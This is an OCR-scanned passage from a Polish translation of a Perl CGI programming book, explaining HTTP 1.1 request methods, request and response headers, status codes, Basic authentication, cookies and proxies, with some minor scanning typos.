rozdziale omawiamy protokół HTTP 1.1, w którym znalazło się kilka ulepszeń w stosunku do poprzedniej wersji HTTP. Chociaż w HTTP l .1 zachowano zgodność wstecz, wiele nowych elementów HTTP 1.1 nie jest rozpoznawanych przez aplikacje oparte na HTTP 1.0. Jest nawet kilka takich sytuacji, w których nowy protokół może być przyczyną wadliwego działania starszych aplikacji, zwłaszcza gdy chodzi o buforowanie. Gdy powstawała ta książka, większość najważniejszych serwerów i przeglądarek Web spełniała już wymagania protokołu HTTP l .1. Mimo to aplikacje oparte na HTTP l .0 jeszcze przez jakiś czas pozostaną w sieci Web. Te właściwości spośród omawianych w tym rozdziale, którymi różnią się protokoły HTTP 1.1 i HTTP 1.0, będą wyraźnie zaznaczane.
Żądania przeglądarki Każda interakcja HTTP rozpoczyna się żądaniem od klienta, zwykle przeglądarki Web. Użytkownik podaje URL w przeglądarce (wpisując go, klikając hiPerlacze lub wybierając zakładkę), a przeglądarka sięga po odpowiedni dokument. W tym celu musi ona utworzyć żądanie HTTP (zob. rysunek 2.4). Wiersz żądania [ GET /index.html HTTP/1.1 Pola nagłówkowe Host: www.oreilly.com User-Agent: Mozilla Rysunek 2.4. Struktura nagłówków żądania HTTP Przypomnijmy, że w poprzednim przykładzie przeglądarka Web wygenerowała poniższe żądanie, gdy zlecone jej zostało sięgnięcie pod URL http://localhost/index.html: GET /index.html HTTP/1.l Host: localhost Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/xbm, */* Accept-Language: en Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 4.5; Mac__PowerPC) ... Z przedstawionego omówienia URL-i można się było dowiedzieć, że URL możn; podzielić na mniejsze elementy. Przeglądarka ustanawia połączenie sieciowe, pc sługując się nazwą hosta i numerem portu (domyślnie jest to 8 0). Schemat (http) ir formuje przeglądarkę, że protokołem ma być HTTP, więc po ustanowieniu połączę nią przeglądarka wysyła HTTP-owe żądanie zasobu. Pierwszy jego wiersz to tzv wiersz żądania, w którym zawarta jest pełna ścieżka wirtualna i ewentualni łańcuch zapytania (zob. rysunek 2.5). Metoda żądania URL Protokół GET /index.html HTTP/1.l Rysunek 2.5. Wiersz żądania Wiersz żądania W pierwszym wierszu żądania HTTP wymieniana jest metoda żądania, URL żądanego zasobu oraz łańcuch opisujący wersję protokołu. W nazwie metody żądania istotna jest wielkość liter i należy ją podawać wielkimi literami. Protokół HTTP definiuje kilka metod żądania, chociaż nie wszystkie są dostępne w wypadku poszczególnych zasobów na danym serwerze Web (zob. tabela 2.1). Na łańcuch wersji składają się nazwa i wersja protokołu, które oddzielone są ukośnikiem. HTTP l. O i HTTP l. l oznaczane są jako HTTP/1. O i
Programowanie CGI w Perlu
15
HTTP/1.1. Należy zauważyć, że żądanie https także wywołuje jeden z dwóch wymienionych łańcuchów protokołów HTTP. Tabela 2.1. Metody żądań HTTP Metoda Opis GET Zwraca się do serwera o określony zasób. HEAD Stosowana w tych samych wypadkach, co GET, lecz zwraca jedynie nagłówki HTTP bez treści. POST Zwraca się do serwera o zmodyfikowanie informacji na serwerze. PUT Zwraca się do serwera o utworzenie lub zastąpienie zasobu na serwerze. DELETE Zwraca się do serwera o usunięcie zasobu na serwerze. CONNECT Służy do tego, aby bezpieczne połączenia SSL mogły tunelować komunikację przez połączenia HTTP. OPTIONS Zwraca się do serwera o listę metod żądań, które dostępne są w wypadku danego zasobu. TRACE Zwraca się do serwera o odsyłanie nagłówków żądań po ich otrzymaniu. Spośród metod wymienionych w tabeli 2.1 najczęściej stosowane, gdy chodzi o pisanie skryptów CGI, są trzy: GET, HEAD i POST. Najpierw jednak przyjrzyjmy się, dlaczego nie są stosowane metody PUT i DELETE. PUT i DELETE Sieć Web w zamyśle miała stanowić medium, w którym użytkownicy mogliby zarówno czytać, jak i pisać. Jednak od samego początku stanowiła medium z dostępem wyłącznie do odczytu, i tylko dzięki WebDAY (Web Distributed Authoring and Yersio-ning) wraca zainteresowanie możliwością pisania w sieci Web. Metody PUT i DELETE nakazują serwerowi utworzenie, zastąpienie lub usunięcie zasobu, na który wskazują. Należy zwrócić uwagę na fakt, że oznacza to, iż jeśli któreś z tych żądań wskazywałoby skrypt CGI (zakładając, że żądanie jest poprawne), skrypt CGI nie zostałby uruchomiony, lecz zastąpiony innym lub usunięty. Dlatego zajmowanie się tymi metodami w skryptach CGI nie ma większego sensu. Mimo że istnieje możliwość zmiany odwzorowania żądań PUT lub DELETE skierowanych na konkretny URL w taki sposób, aby obsłużył je inny skrypt CGI, opis implementacji WebDAY wykracza poza zakres tej książki. GET GET jest standardową metodą przy pobieraniu dokumentów w sieci Web poprzez HTTP. Gdy użytkownik wybiera URL (klikając hiPerlacze, wpisując adres w przeglądarce lub klikając zakładkę), przeglądarka na ogół tworzy żądanie GET. Żądania GET są przeznaczone wyłącznie do pobierania zasobów i nie powinny mieć skutków ubocznych. Nie powinny powodować zmian w informacjach przechowywanych na serwerze Web; do tego celu przewidziano metodę POST. Żądania GET nie mają części zasadniczej (treści). Zdarza się, że niektórzy twórcy CGI nie rozumieją albo nie stosują się (choć powinni) do reguły, że żądania GET nie powinny pociągać za sobą skutków ubocznych. Ponieważ przeglądarki Web zakładają, że przy żądaniach GET nie ma skutków ubocznych, mogą się wielokrotnie zwracać o ten sam dokument. Na przykład, gdy użytkownik naciska przycisk „Wstecz", aby wrócić do strony, której pierwotnie zażądał za pomocą GET, a której już nie ma w pamięci podręcznej, przeglądarka może wysłać GET w celu uzyskania nowego egzemplarza strony. Jeżeli jednak pierwotne żądanie zostało zgłoszone przez POST, użytkownik otrzyma jedynie komunikat, że dokumentu nie ma już w pamięci podręcznej. Użytkownikowi, który zdecyduje się ponowić żądanie, na ogół wyświetlone zostaje okno dialogowe umożliwiające potwierdzenie zlecenia ponownego wysłania żądania POST. Takie działanie pozwala użytkownikowi uniknąć omyłkowego wielokrotnego wysyłania żądania w sytuacji, gdy mogłoby ono zmodyfikować informacje przechowywane na serwerze. HEAD Napisaliśmy, że przeglądarka Web, aby sięgnąć po zasób zażądany przez użytkownika, na ogół tworzy żądanie GET. Jeśli zasób już wcześniej został przez przeglądarkę pobrany, mógł zostać umieszczony w podręcznej pamięci (buforze) przeglądarki. Przeglądarka, aby dowiedzieć się, czy ma wyświetlić kopię z bufora, czy też ma zażądać nowej, może wysłać żądanie HEAD. Format tego żądania jest dokładnie taki sam, jak żądania GET, a odpowiedź serwera jest dokładnie taka sama, jak na żądanie GET, z jednym wyjątkiem: wysyłany jest tylko nagłówek HTTP, treść zaś nie jest wysyłana. Przeglądarka może wówczas odczytać metainformacje zawarte w nagłówku, na przykład datę modyfikacji zasobu, aby sprawdzić, czy zasób zmienił się i czy jego wersja w pamięci podręcznej powinna zostać zastąpiona nowszą. Treści nie mają także żądania HEAD. W praktyce żądania HEAD można obsługiwać w skryptach CGI tak samo jak żądania GET; wtedy serwer Web sam usunie treść z odpowiedzi i zwróci wyłącznie nagłówki. Z tego powodu metodę HEAD rzadko omawiamy w tej książce. Jeśli zależy nam na wydajności, możemy sprawdzać metodę żądania i oszczędzać zasoby serwera, nie generując treści w wypadku żądań HEAD. Identyfikowaniem metod w skrypcie zajmiemy się w następnym rozdziale. POST Metoda POST wraz z formularzami HTML służy do wysyłania informacji, która powoduje zmianę danych przechowywanych na serwerze Web. W żądaniu POST zawsze zawarta jest treść, na którą składają się wysyłane informacje, sformatowane w postaci łańcucha zapytania. Z tego powodu żądania POST wymagają dodatkowych wierszy nagłówkowych, określających długość treści i jej format. Wiersze te opisywane są w następnym podrozdziale.
Programowanie CGI w Perlu
16
Chociaż żądania POST powinny służyć tylko do modyfikowania danych na serwerze, projektanci CGI zwykle wykorzystują je w także w skryptach CGI, które jedynie zwracają informacje i nie modyfikują danych. Takie postępowanie jest powszechniejsze i mniej groźne niż sytuacja odwrotna - czyli wykorzystywanie GET do modyfikowania danych na serwerze. Projektanci korzystają z metody POST z różnych powodów: • Niektórzy projektanci wierzą, że formularze wysłane za pomocą POST zapewniają większe bezpieczeństwo niż te, które wysyłane są za pomocą GET, ponieważ nie można wtedy w przeglądarce modyfikować wartości zawartych w URL-u, co jest możliwe w wypadku GET. To rozumowanie jest błędne. Zręczni użytkownicy, o czym się przekonamy przy okazji omawiania zagadnień bezpieczeństwa w rozdziale 8, „Bezpieczeństwo", potrafią bez trudu wynaleźć obejście. • Odpowiedzi na zasoby otrzymywane za pośrednictwem metody POST nie można włączać do zakładek ani do hiPerlaczy (przynajmniej nie jest to możliwe bez użycia bookmarkletu; zob. rozdział 7, „JavaScript"). Mimo że na ogół jest to niewygodne dla użytkowników, czasami preferują oni właśnie taką funkcjonalność. Warto zwrócić uwagę na fakt, że użytkownicy, usiłując ponownie odwiedzić buforowane strony uzyskane za pomocą POST, mogą otrzymać powiadomienie o wygaśnięciu ważności strony. Wiersze pól nagłówkowych żądania Klient wraz z żądaniem na ogół wysyła kilka pól nagłówkowych. Jak wspomnieliśmy wcześniej, składają się one z nazwy pola, pewnej kombinacji spacji lub tabulacji (najczęściej jednak jest to pojedyncza spacja) oraz wartości (zob. rysunek 2.6). Pola te służą do przekazywania dodatkowych informacji o żądaniu lub o kliencie lub też zawierają warunki żądania. Zajmiemy się tutaj omówieniem najczęstszych wierszy nagłówkowych generowanych przez przeglądarkę; wymieniamy je w tabeli 2.2. Te, które dotyczą uzgadniania treści i buforowania, omówimy w dalszej części rozdziału. Nazwa pola Wartość Content-Type: text/html Rysunek 2.6. Wiersz pola nagłówka Tabela 2.2. Najczęstsze nagłówki w żądaniach HTTP Nagłówek Opis Host Określa nazwę docelowego hosta. Content-Length Określa długość (w bajtach) treści żądania. Content-Type Określa typ nośnika żądania. Authorization Określa nazwę i hasło użytkownika żądającego zasobu. User-Agent Określa nazwę, wersję i platformę klienta. Referer Określa URL, który odesłał użytkownika do bieżącego zasobu. Cookie Zwraca parę nazwa-wartość ustanowioną przez serwer przy poprzedniej odpowiedzi. Host Pole Host pojawiło się wraz z HTTP l .1 i jest polem wymaganym. W polu tym klient wysyła nazwę hosta serwera Web. Może się ono wydawać nadmiarowe, bo przecież host powinien znać swoją tożsamość. Owszem, ale nie zawsze tak jest. Maszyna o jednym adresie IP może mieć kilka nazw domen odwzorowywanych na dany adres, na przykład www.oreilly.com i iuww.ora.com. Kiedy nadchodzi żądanie, zostaje odczytany nagłówek Host w celu ustalenia, poprzez którą nazwę klient odwołuje się do danej maszyny, tak aby żądanie znalazło odpowiednie odwzorowanie w zwracanej treści. Content-Length Żądania POST obejmują część zasadniczą (treść). Aby powiadomić serwer Web, ile danych ma odczytać, w polu Content-Length musi być zadeklarowany rozmiar części zasadniczej w bajtach. Jest kilka sytuacji, w których klienty HTTP 1.1 mogą to pole pominąć, lecz to nas nie dotyczy, ponieważ serwer Web i tak będzie obliczać tę wartość i udostępniać ją skryptom CGI tak, jak gdyby była oryginalnie zawarta w żądaniu. W wypadku żądań POST, których treść jest pusta, w omawianym polu znajduje się 0. W żądaniach takich jak GET i HEAD, czyli nie mających części zasadniczej, pole to jest pomijane. Content-Type W wypadku żądań zawierających treść zawsze musi być podane pole Content-Type. Określa ono typ nośnika wiadomości. Wartością tej danej otrzymywanej z formularza HTML poprzez żądanie POST najczęściej jest application/x-www-form-urlencoded, chociaż możliwa jest także wartość multipart/form-data (stosowana przy wysyłaniu plików za pośrednictwem formularza). Podawaniem typu nośnika żądania zajmiemy się przy okazji omawiania formularzy HTML w rozdziale 4, „Formularze i CGI", natomiast analizie składniowej złożonych żądań przyjrzymy się w rozdziale 5, „CGI.pm". Authorization Dostęp do niektórych zasobów serwera Web może wymagać załogowania się. Z tym rodzajem uwierzytelniania HTTP spotykamy się wtedy, gdy sięgnąwszy do obszaru zastrzeżonego w danej strukturze Web, 3 otrzymujemy monit o podanie nazwy logowania i hasła (zob. rysunek 2.7) . Należy zauważyć, że monit logowania 3
Różnice między uwierzytelnianiem a autoryzacją są drobne, aczkolwiek istotne. Uwierzytelnianie to proces identyfikacji, natomiast proces autoryzacji określa, do czego dana osoba ma dostęp.
Programowanie CGI w Perlu
17
zawiera tekst identyfikujący miejsce, do którego ma nastąpić logowanie; jest to dziedzina (ang. realm). Zasoby, które objęte są wspólną nazwą logowania, są częścią tej samej dziedziny. W wypadku większości serwerów Web przypisanie zasobów do danej dziedziny odbywa się w ten sposób, że umieszcza się je w tym samym katalogu oraz konfiguruje serwer Web, przypisując do katalogu nazwę dziedziny wraz z wymaganiami co do autoryzacji. Gdybyśmy na przykład chcieli zastrzec dostęp do ścieżek URL zaczynających się od /chronione, wtedy moglibyśmy wprowadzić do httpd.conf (lub access.conf, o ile jest używany) następujący zapis: <Location /chronione> AuthType Basic AuthName "Tajne pliki" AuthUserFile /usr/local/apache/conf/secret.users require valid-user </Location> Plik wskazany przez AuthUserFile zawiera, pooddzielane dwukropkami, nazwy użytkowników i ich zaszyfrowane hasła. Do tworzenia i aktualizacji tego pliku służy program narzędziowy htpasswd serwera Apache; opis ekranowy i podręcznik Apache dostarczają instrukcji na temat sposobu jego użycia. Kiedy przeglądarka żąda zasobu znajdującego się w zastrzeżonej dziedzinie, wtedy serwer informuje przeglądarkę o wymogu załogowania się, wysyłając kod stanu 401 oraz nazwę dziedziny w polu nagłówka WWW-Authenticate (omówimy je w dalszej części rozdziału). Następnie przeglądarka zwraca się do użytkownika o podanie nazwy i hasła wymaganych w danej dziedzinie (o ile odpowiedni monit nie pojawił się wcześniej), po czym ponawia żądanie, wysyłając dane uwierzytelniające w polu Authorization. Istnieje kilka typów uwierzytelnień HTTP, lecz jedynym typem powszechnie obsługiwanym przez przeglądarki i serwery jest uwierzytelnianie podstawowe. Pole Authorization w wypadku uwierzytelnienia podstawowego wygląda następująco: Authorization: Basic dXNlcjpwYXNzd29yZA== W Tajemniczo wyglądający fragment to po prostu nazwa użytkownika i jego hasło połączone dwukropkiem i zakodowane metodą Base64. Łatwo taki zapis rozkodować, a więc uwierzytelnianie podstawowe nie zapewnia ochrony przed intruzami starającymi się zdobyć nazwy i hasła użytkowników, chyba że połączenie jest zabezpieczone poprzez SSL. Serwer obsługuje uwierzytelnianie i autoryzację w sposób przezroczysty dla użytkownika. Z poziomu skryptu CGI można uzyskać dostęp do nazwy logowania, ale l® nie do hasła, o czym będzie mowa w następnym rozdziale. User-Agent To pole informuje, jakim klientem użytkownik się posługuje, sięgając do sieci Web. Na wartość na ogół składa się kryptonim przeglądarki, jej numer wersji oraz system operacyjny i platforma, na której działa. Oto przykład wzięty z Netscape Communicatora: User-Agent: Mozilla/4.5 (Macintosh; I; PPC) Niestety, Microsoft podjął budzącą wątpliwości decyzję, gdy wypuszczając swą przeglądarkę, Internet Explorer, również ją opatrzył kryptonimem „Mozilla", który przynależny jest Netscape'owi. Ewidentnie zrobiono tak dlatego, ponieważ w licznych serwisach Web posługiwano się tym polem w celu odróżniania przeglądarek firmy Netscape od innych, aby móc wykorzystać dodatkowe właściwości oferowane w tym czasie przez tę firmę. Microsoft dostosował swą przeglądarkę do wielu z nich chciał, aby jej użytkownicy także mogli skorzystać z udoskonalonych serwisów Web. Kryptonim „Mozilla" pozostał do dziś w celu zapewnienia zgodności wstecz. Oto przykład z Internet Explorera: User-Agent: Mozilla/4.0 (compatible; MSIE 4,5; Mac_PowerPC) Accept Pole Accept i pola pokrewne, rozpoczynające się od Accept, na przykład Accept-Lan-0 guage, wysyłane są ze strony klienta, aby poinformować serwer o kategoriach odpowiedzi, które dany klient jest w stanie zinterpretować. Kategorie te to między innymi formaty plików, języki, zestawy znaków. Odpowiedni proces omówimy w tym rozdziale szerzej w podrozdziale „Uzgadnianie treści". Referer Nie, nie ma tu literówki. Pole Referer powinno brzmieć Referrer, ale w pierwotnym protokole zostało nieszczęśliwie zapisane z błędem i, w celu zachowania zgodności wstecz, pozostanę przy takim zapisie. W polu tym zawarty jest URL strony ostatnio odwiedzonej przez użytkownika, na ogół tej, na której znajdowało się łącze do żądanej strony: Referer: http://localhost/index.html Pole to nie zawsze jest wysyłane do serwera; przeglądarki podają to pole tylko wtedy, gdy użytkownik generuje żądanie klikając hiPerlacze, wysyłając formularz itp. Przeglądarki na ogół nie podają tego pola wtedy, gdy użytkownik wpisuje URL ręcznie lub wybiera zakładkę, ponieważ mogłoby się to wiązać z poważnym naruszeniem prywatności użytkownika. Cookie Przeglądarki lub serwery Web mogą wprowadzać dodatkowe pola nagłówkowe, nie należące do standardu HTTP. Aplikacja odbierająca powinna zignorować wszelkie nagłówki, których nie rozpoznaje.
Programowanie CGI w Perlu
18
Przykładem pól, których nie specyfikuje protokół HTTP, jest para Set-Cookie oraz Cookie, wprowadzona przez firmę Netscape w celu obsługi ciasteczek (ang. cookies). Pole Set-Cookie wysyłane jest w odpowiedzi serwera: Set-Cookie: cart_id=12345; path=/; expires=Sat, 18-Mar-05 19:06:19 GMT Powyższy wiersz nagłówkowy zawiera dane, które klient powinien umieszczać zwrotnie w polu Cookie w przyszłych żądaniach kierowanych do tego serwera: Cookie: cart_id=12345 Przypisując różne wartości każdemu użytkownikowi, serwery (i skrypty CGI) mogą za pomocą komputerowych ciasteczek odróżniać poszczególnych użytkowników. Ciasteczka omówimy obszernie w rozdziale 11, „Utrzymywanie stanu".
Odpowiedzi serwera Odpowiedzi serwera, tak jak żądania klienta, zawsze zawierają nagłówki HTTP oraz ewentualnie część zasadniczą. Oto odpowiedź serwera z wcześniejszego przykładu: HTTP/1.l 200 OK Date: Sat, 18 Mar 2000 20:35:35 GMT Server: Apache/1.3.9 (Unix) Last-Modified: Wed, 20 May 1998 14:59:42 GMT ETag: "74916-656-3562efde" Content-Length: 141 Content-Type: text/html <HTML> <HEAD><TITLE>Dokuraent przykładowy</TITLE></HEAD> <BODY> <Hl>Dokument przykładowy</Hl> <P>Oto dokument przykładowy!</P> </BODY> </HTML> Struktura nagłówków odpowiedzi jest taka sama dla wszystkich żądań. Pierwszy wiersz nagłówkowy ma specjalne znaczenie i nazywany jest wierszem stanu. Pozostałe wiersze są to wiersze pól nagłówkowych, w postaci zestawień nazwa-wartość (zob. rysunek 2.8). Wiersz stanu [HTTP/1, l 200 OK Pola nagłówkowe Content-Type: text/html Content-Length: 300 Rysunek 2.8. Struktura nagłówka odpowiedzi HTTP Wiersz stanu Pierwszy wiersz nagłówka to wiersz stanu, w którym wymieniony jest protokół i jego wersja, tak jak w wypadku żądań HTTP, z tą różnicą, że ta informacja pojawia się na początku, a nie na końcu. Po tym łańcuchu przychodzi spacja, po której podawany jest stan w postaci trzycyfrowego kodu oraz w wersji tekstowej (zob. rysunek 2.9). Protokół Stan HTTP/1.l 200 OK Rysunek 2.9. Wiersz stanu Serwery Web wysyłają dziesiątki kodów stanu. Na przykład zwracają stan 404 Not Found, jeśli dokument nie istnieje, a 301 Moued Permanently, jeśli dokument został przeniesiony. Kody stanu dzielą się na pięć różnych klas i pogrupowane są według ich pierwszych cyfr: 1xx Te kody stanu wprowadzono w HTTP 1.1. Stosowane są na niskim poziomie w transakcjach HTTP. W skryptach CGI kody stanu z serii lxx nie są wykorzystywane. 2xx Kody stanu z serii 2xx wskazują, że z żądaniem jest wszystko w porządku. 3xx Kody stanu z serii 3xx na ogół wskazują na pewien rodzaj przekierowania. Żądanie jest prawidłowe, lecz treści odpowiedzi przeglądarka powinna poszukać w innym miejscu. 4xx Kody stanu z serii 4xx wskazują, że wystąpił błąd, a serwer winą za niego obarcza przeglądarkę. 5xx Kody stanu z serii 5xx także sygnalizują wystąpienie błędu, lecz w tym wypadku serwer przyznaje, że winowajcą jest on lub skrypt CGI działający na tym serwerze. Każdy z częściej występujących kodów stanu oraz sposoby ich wykorzystania w skryptach CGI omówimy w następnym rozdziale. Nagłówki serwera Po wierszu stanu serwer wysyła nagłówki HTTP. Niektóre z nich nie różnią się od pól, które przeglądarki wysyłają w żądaniach. Często stosowane pola nagłówkowe wymienione zostały w tabeli 2.3. Tabela 2.3. Najczęstsze nagłówki HTTP serwera
Programowanie CGI w Perlu
19
Nagłówek Opis Content-Base Określa bazowy URL do analizy wszystkich względnych URL-i zawartych w dokumencie. Content-Length Określa długość (w bajtach) części zasadniczej. Content-Type Określa typ nośnika części zasadniczej. Date Określa datę i godzinę wysłania odpowiedzi. ETag Określa znacznik jednostki żądanego zasobu. Last-Modified Określa datę i godzinę ostatniej modyfikacji zasobu. Location Określa nowe położenie zasobu. Server Określa nazwę i wersję serwera Web. Set-Cookie Określa parę nazwa-wartość, którą przeglądarka powinna podawać w przyszłych żądaniach. WWW-Authenticate Określa schemat i dziedzinę autoryzacji. Content-Base Pole Content-Base zawiera URL stanowiący podstawę URL-i względnych znajdujących się w dokumencie HTML. Tę samą funkcję może pełnić znacznik <BASE HREF=... > w nagłówku dokumentu i takie rozwiązanie jest częściej stosowane. Content-Length Pole Content-Length w nagłówkach odpowiedzi, analogicznie jak w nagłówkach żądań, zawiera długość części zasadniczej odpowiedzi. Wartość ta służy w przeglądarkach do wykrywania przerwy w transakqi lub do informowania użytkownika o tym, w jakim procencie pobieranie zostało zrealizowane. Content-Type W skryptach CGI nagłówek Content-Type wykorzystywany jest bardzo często. Pole to podawane jest w każdej odpowiedzi zawierającej część zasadniczą i musi być uwzględniane we wszystkich żądaniach, którym towarzyszy kod stanu 200. Najczęstszą wartością pola w wypadku takiej odpowiedzi jest text/html, która to wartość zwracana jest z dokumentami HTML. Inne przykłady to text/plain w wypadku zwykłych dokumentów tekstowych oraz application/pdf w wypadku dokumentów Adobe PDF. Ponieważ pole to pochodzi od podobnego pola MIME, często jest nazywane typem MIME wiadomości. Niemniej jednak termin ten jest nieprecyzyjny, ponieważ wartości, jakie może przybierać to pole, są inne w wypadku sieci Web niż w wypadku internatowej poczty elektronicznej. Serwis IANA (Internet Assigned Numbers Autho-rity) udostępnia spis zarejestrowanych typów nośników wykorzystywanych w sieci Web, który można obejrzeć pod adresem http://www.isi.edu/in-notes/iana/assignments/ media-types/. Chociaż można by wymyślić własne wartości na oznaczenie typów nośników, lepiej jest trzymać się zarejestrowanych, gdyż inaczej przeglądarki Web nie wiedziałyby, jak obsłużyć dokumenty skojarzone z daną wartością. Date Protokół HTTP 1.1 wymaga, aby serwery wysyłały nagłówek Datę we wszystkich odpowiedziach. W HTTP dozwolone są trzy różne zapisy daty i godziny: Mon, 06 Aug 1999 19:01:42 GMT Monday, 06-August-99 19:01:42 GMT Mon Aug 6 19:01:42 1999 Specyfikacja HTTP zaleca pierwszy zapis, ale aplikacje HTTP powinny obsługiwać wszystkie. Ostatni z 4 podanych formatów generowany jest przez funkcję gmtime języka Perl . ETag Nagłówek ETag określa znacznik jednostki (ang. entity tag), odpowiadający żądanemu zasobowi. Znaczniki jednostek wprowadzono w protokole HTTP 1.1 jako środek zaradczy na problemy z buforowaniem. Chociaż HTTP 1.1 nie określa żadnego konkretnego sposobu generowania znaczników jednostek przez serwer, są one analogiczne do kondensatu wiadomości lub sumy kontrolnej pliku. Klienty i proxy mogą przyjąć, że wszystkie egzemplarze zasobu o tym samym URL-u i tym samym znaczniku jednostki są identyczne. Dlatego generowanie żądania HEAD i sprawdzenie pola ETag w odpowiedzi jest skutecznym sposobem, umożliwiającym przeglądarce ustalenie, czy odpowiedź wcześniej umieszczona w pamięci podręcznej wymaga ponownego pobrania. Serwery Web zwykle nie generują znaczników jednostek w wypadku skryptów CGI, choć sami możemy je wygenerować, gdyby zależało nam na uzyskaniu większego wpływu na buforowanie naszych odpowiedzi przez klienty HTTP 1.1.
4
Ujmując bardziej szczegółowo, funkcja gmtime generuje łańcuch daty i godziny w przedstawionej postaci wtedy, gdy wywoływana jest w kontekście skalarnym. W kontekście listy zwraca natomiast poszczególne elementy daty i godziny. Jeżeli opis ten nie jest wystarczająco jasny, warto sięgnąć po dobrą książkę na temat Perla, na przykład Perl - programowanie, w której objaśnione są różnice między kontekstem listy a skalarnym.
Programowanie CGI w Perlu
20
Last-Modified W nagłówku Last-Modified zwracana jest data i godzina ostatniej aktualizacji żądanego zasobu. Miał służyć do obsługi buforowania, lecz w HTTP l .0 nie zawsze działał zgodnie z oczekiwaniami, tak więc obecnie do tego celu przeznaczone jest pole ETag. Nagłówek Last-Modified jest ograniczający, ponieważ implikuje założenie, że zasoby HTTP są plikami statycznymi, co oczywiście nie zawsze jest prawdą. Na przykład w wypadku skryptów CGI wartość tego pola musi odzwierciedlać czas ostatniej zmiany w danych wyjściowych (zwykle ze względu na zmianę w źródle danych), a nie datę i godzinę ostatniej aktualizacji samego skryptu. Serwer Web zazwyczaj nie generuje pola Last-Modified (tak jak pola ETag) w wypadku skryptów CGI, ale możemy je sami wygenerować, jeśli będziemy sobie tego życzyć. Location Zadaniem nagłówka Location jest informowanie klienta, że żądanego zasobu powinien poszukać gdzie indziej. Wartość powinna zawierać bezwzględny URL, kierujący do nowego położenia. Nagłówkowi temu powinien towarzyszyć kod stanu z serii 3xx. Przeglądarki na ogół automatycznie sięgają po zasób we wskazanym miejscu, bez interwencji użytkownika. Odpowiedzi z polem Location mogą też zawierać treść z odpowiednimi instrukcjami dla użytkownika, gdyż bardzo stare przeglądarki mogą na pole Location nie reagować. Sewer W nagłówku Sewer wymieniane są nazwa i wersja aplikacji działającej jako serwer Web. Serwer Web automatycznie generuje to pole w odpowiedziach standardowych. Zdarzają się też sytuacje, w których należy je wygenerować samemu, o czym będzie mowa w następnym rozdziale. Set-Cookie Nagłówek Set-Cookie zwraca się do przeglądarki, aby zanotowała określoną parę na-zwa-wartość (ciasteczko) i odsyłała ją w kolejnych żądaniach kierowanych do danego serwera. Serwer może określić, jak długo przeglądarka powinna przechowywać ciasteczko i którym hostom lub domenom powinna je dostarczać. Ciasteczkami zajmiemy się szczegółowo w rozdziale 11, „Utrzymywanie stanu", przy omawianiu utrzymywania stanu. WWW-Authenticate Serwer Web, o czym już pisaliśmy przy omawianiu pola Authorization, może zastrzec dostęp do zasobu tylko dla tych użytkowników, którzy podadzą poprawną nazwę użytkownika i hasło. Pole WWW-Authenticate używane jest razem z kodem stanu 401 do sygnalizowania, że żądany zasób wymaga logowania. W wartości tego pola powinna być zawarta forma uwierzytelnienia oraz dziedzina, do której autoryzacja się odnosi. Na ogół dziedzina autoryzacji stanowi odwzorowanie określonego katalogu serwera Web. Odpowiednia nazwa użytkownika wraz z hasłem powinny zapewniać dostęp do wszystkich zasobów w danej dziedzinie. Serwery proxy Dość często przeglądarki Web nie kontaktują się bezpośrednio z serwerami Web, lecz komunikują za pośrednictwem proxy. Stosowanie serwerów proxy HTTP często ma na celu zmniejszenie natężenia ruchu w sieci, umożliwienie dostępu przez zaporę ogniową, filtrowanie treści itp. Standard HTTP definiuje specyficzne funkcje proxy. Znajomość tych szczegółów nie jest nam potrzebna, lecz musimy wiedzieć, jaki mają wpływ na cykl żądania i odpowiedzi HTTP. Proxy można traktować jak kombinację uproszczonego klienta i serwera (zob. rysunek 2.10). Klient HTTP łączy się z proxy wysyłając żądanie; w takiej sytuacji proxy działa jak serwer. Proxy przekazuje żądanie do serwera Web i pobiera odpowiednią odpowiedź; wtedy działa jak klient. Na koniec wypełnia swą serwerową funkcję, zwracając odpowiedź do klienta. Rysunek 2.10 ilustruje, w jaki sposób proxy HTTP oddziałuje na cykl żądania i odpowiedzi. Mimo że tutaj przedstawiony jest tylko jeden proxy, jest jak najbardziej możliwe, aby w pojedynczej transakcji HTTP pośredniczyło wiele proxy. Użycie proxy ma dwojakie skutki. Po pierwsze, uniemożliwiają one serwerowi Web wiarygodne zidentyfikowanie przeglądarki. Po drugie, proxy często buforują zasoby. Gdy klient zgłasza żądanie, serwery proxy mogą zwrócić nieaktualną odpowiedź zawartą w buforze, nie kontaktując się z właściwym serwerem Web. Identyfikacja klientów Podstawowe żądania HTTP nie zawierają żadnych informacji, które umożliwiałyby zidentyfikowanie klienta. W wypadku prostej transakcji sieciowej zazwyczaj nie ma to znaczenia, ponieważ serwer wie, z którym klientem się komunikuje. Rozważmy to zagadnienie poprzez analogię. Jeśli ktoś podchodzi do nas i wręcza nam wiadomość, wiemy, kto nam tę wiadomość podał, bez względu na to, co mówiłaby wiadomość. Identyfikacja doręczyciela wynika z kontekstu. Problemem jest natomiast ustalenie autorstwa wiadomości. Jeżeli wiadomość nie jest podpisana, nie można mieć pewności, czy osoba, która ją wręcza, napisała ją, czy jest tylko jej doręczycielem. Z tym samym mamy do czynienia w transakcjach HTTP. Serwery Web wiedzą, który system żąda od nich informacji, lecz nie wiedzą, czy tym klientem jest przeglądarka Web, która zainicjowała żądanie (czyli „autor wiadomości")/ czy też jest to proxy (czyli „doręczyciel"). Nie stanowi to o ułomności serwerów proxy, ponieważ ta anonimowość jest cechą serwerów proxy zintegrowanych z zaporami ogniowymi. Organizacje, w których stosuje się takie zapory, zwykle wolą, aby świat zewnętrzny nie znał adresów systemów ukrytych za zaporą.
Programowanie CGI w Perlu
21
